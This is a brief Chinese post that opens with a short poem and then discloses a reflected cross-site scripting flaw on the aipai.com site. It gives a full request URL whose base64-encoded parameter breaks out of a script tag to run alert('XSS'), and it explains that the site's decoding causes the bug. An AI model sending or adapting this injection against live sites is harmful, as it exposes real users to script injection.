爱拍xss

灵魂碰到云会变成雨,

所以没人见过天堂,

雨天的时候,

我想这就是天堂吧。


一处简单的xss

payload:

1
http://so.aipai.com/spread.php?id=&code=aHR0cDovL3d3dy5haXBhaS5jb20vIj48L3NjcmlwdD48c2NyaXB0PmFsZXJ0KCdYU1MnKTwvc2NyaXB0Pg==&action=click&id=17&tdsourcetag=s_pcqq_aiomsg&qq-pf-to=pcqq.temporaryc2c

主要是爱拍自带的编码存在问题导致了此次漏洞,将我们的payload进行
base64解码,也就是最简单的xss语句

造成了xss